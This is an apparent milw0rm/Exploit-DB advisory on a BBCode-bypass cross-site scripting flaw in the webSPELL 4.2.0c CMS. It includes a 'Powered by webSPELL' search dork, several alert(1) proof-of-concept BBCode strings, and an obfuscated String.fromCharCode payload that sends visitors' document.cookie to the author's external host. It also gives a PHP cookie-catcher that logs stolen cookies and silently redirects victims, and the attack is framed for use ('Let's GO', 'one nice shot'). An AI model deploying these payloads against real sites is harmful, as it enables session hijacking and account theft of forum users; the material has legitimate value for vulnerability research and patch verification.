webSPELL 4.2.0c - Bypass BBCode Cross-Site Scripting Cookie Stealing

EDB-ID:

8453


Platform:

PHP

Published:

2009-04-16

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**  [-----[]-----[][][][>--[]--[]-[]---[][][]--[]-[]--[]--------[]-----[][][][>--[][][][]---\ 
**==[>    []     []        []   [][]   []  [] [][][]  []       [][]    []           [] []  >>--
**  [----[[]]----[]--- ----[]-----[]---[]--[]-----[]--[]-------[] []---[]----------[]--[]---/ 
   [>   [[[]]]   [][][][>  [][]   [] [][[] [[]]  [][]  [][][]  []  [>  [][][][> <][]   []    **
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----------------------------------------------------------------------------------------------
|       	   XSS (BYPASS BBCODE) COOKIES STEALING VULNERABILITY                        |
|--------------------------------------------------------------------------------------------|
|                         	     | webSPELL 4.2.0c |		 		     |
|  CMS INFORMATION:		      ----------------					     |
|											     |
|-->WEB: http://www.webspell.org/ (affected too)				   	     |
|-->DOWNLOAD: http://www.webspell.org/download.php?fileID=22	   			     |
|-->DEMO: http://www.webspell.org/index.php?site=demo					     |
|-->CATEGORY: CMS / Portals								     |
|-->DESCRIPTION: webSPELL is a free Content Management System (CMS) for clans and 	     |
|   gaming communities, providing all needed features like forums, gallery, clanwar...	     |
|                                                                                            |
|   CMS VULNERABILITY:									     |
|											     |
|-->TESTED ON: firefox 3.0.8 and IE 6.0.29 (Default)					     |
|-->DORK: "Powered by webSPELL"								     |
|-->CATEGORY: XSS/BYPASS-BBCODE/COOKIES STEALING					     |
|-->AFFECT VERSION: LAST = 4.2.0C (maybe <= ?)						     |
|-->Discovered Bug date: 2009-04-14							     |
|-->Reported Bug date: 2009-04-14							     |
|-->Fixed bug date: 2009-04-14								     |
|-->Info patch (v-4.2.0d): http://www.webspell.org/					     |
|-->Author: YEnH4ckEr									     |
|-->mail: y3nh4ck3r[at]gmail[dot]com							     |
|-->WEB/BLOG: N/A									     |
|-->COMMENT: A mi novia Marijose...hermano,cuñada, padres (y amigos xD) por su apoyo.        |
----------------------------------------------------------------------------------------------


-----------
BUG ZONES:
-----------

#BBCode is bypassed by differents methods and XSS is possible.

----------------------------------
PROOF OF CONCEPT (SEARCHING XSS):
----------------------------------

BOTH (FIREFOX AND IE):


[email][img]http://a.com onmouseover=alert(1) [/img][/email]
[email][email][img]http://a.com onmouseover=alert(1) [/img] [/email][/email]
[email][url][img]http://a.com onmouseover=alert(1) [/img] [/url][/email]

Maybe you find more...I looked for a bit xD

ONLY IE:

[email][email][url]http://a.com onmouseover=alert(1) [/url]http://' onmouseover=alert(1) [/email][/email]
[email][email][url]http://a.com' onmouseover=alert(1) [/url]http:// onmouseover=alert(1) [/email][/email]
[email][email][url]http://a.com' onmouseover=alert(1) [/url]http:// ' onmouseover=alert(1) [/email][/email]
[email][email][url]http://a.com' onmouseover=alert(1) [/url] ' onmouseover=alert(1) [/email][/email]
[email][email][url]http://a.com onmouseover=alert(1) [/url] ' onmouseover=alert(1) [/email][/email]

Note:Space between "(1)" and "[/img]" sometimes is necessary...

Combinations of tags like this: 

[email][img]http://a.com onmouseover=alert(1) [/img][/email]

Generate the follow html code:

<a href="mailto:..."><img src=\"http://a.com onmouseover=alert(1) \" id=\"ws_image_123966998343_1\" border=\"0\" onload=\"checkSize('123966998343_1', 450, 500)\" alt=\"http://a.com onmouseover=alert(1) \" style=\"max-width: 451px; max-height: 501px;\" /><div id=\"ws_imagediv_123966998343_1\" style=\"display:none;\"><a href='http://a.com onmouseover=alert(1) ' target='_blank'><i>(Auto resize: show original)</i></a></div></a>


--------------------------
COOKIES EXPLOIT (BBCODE):
--------------------------

I'll use the first PoC (IE6 and firefox) and String.fromCharCode 
to bypass quotes and send cookies to my host:

http://www.myphpcookiestealing.es/capturethecookies.php?ck=

Well...Let's GO!

[email][img]http://www.victim.es onmouseover=document.location=String.fromCharCode(104,116,116,112,58,47,47,119,119,119,46,109,121,112,104,112,99,111,111,107,105,101,115,116,101,97,108,105,110,103,46,101,115,47,99,97,112,116,117,114,101,116,104,101,99,111,111,107,105,101,115,46,112,104,112,63,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,61)+document.cookie [/img][/email]

------------------------------
COOKIES STEALER (PHP SCRIPT):
------------------------------

<?php
$ck=$_GET["ck"]; //Capture the cookies	 
$manejador=fopen("exploited.txt",'a'); //Open cookies saved file
fwrite($manejador, "Cookie:\r\n".htmlentities($ck)."\r\n--EOF--\r\n"); //Save the values
fclose($manejador);	//Close file
echo "<script>location.href='http://[HOST]/[PATH]/index.php?module';</script>"; //Redirect...we don't want to alert xDD
?>

You can use any cookie editor and you have one nice shot (XSSSHEll+XSSTunnel = many nice shots xD)

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 ESPECIAL THANKS TO: Str0ke and every H4ck3r(all who do milw0rm)!
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-------------------EOF---------------------------------->>>ENJOY IT!

# milw0rm.com [2009-04-16]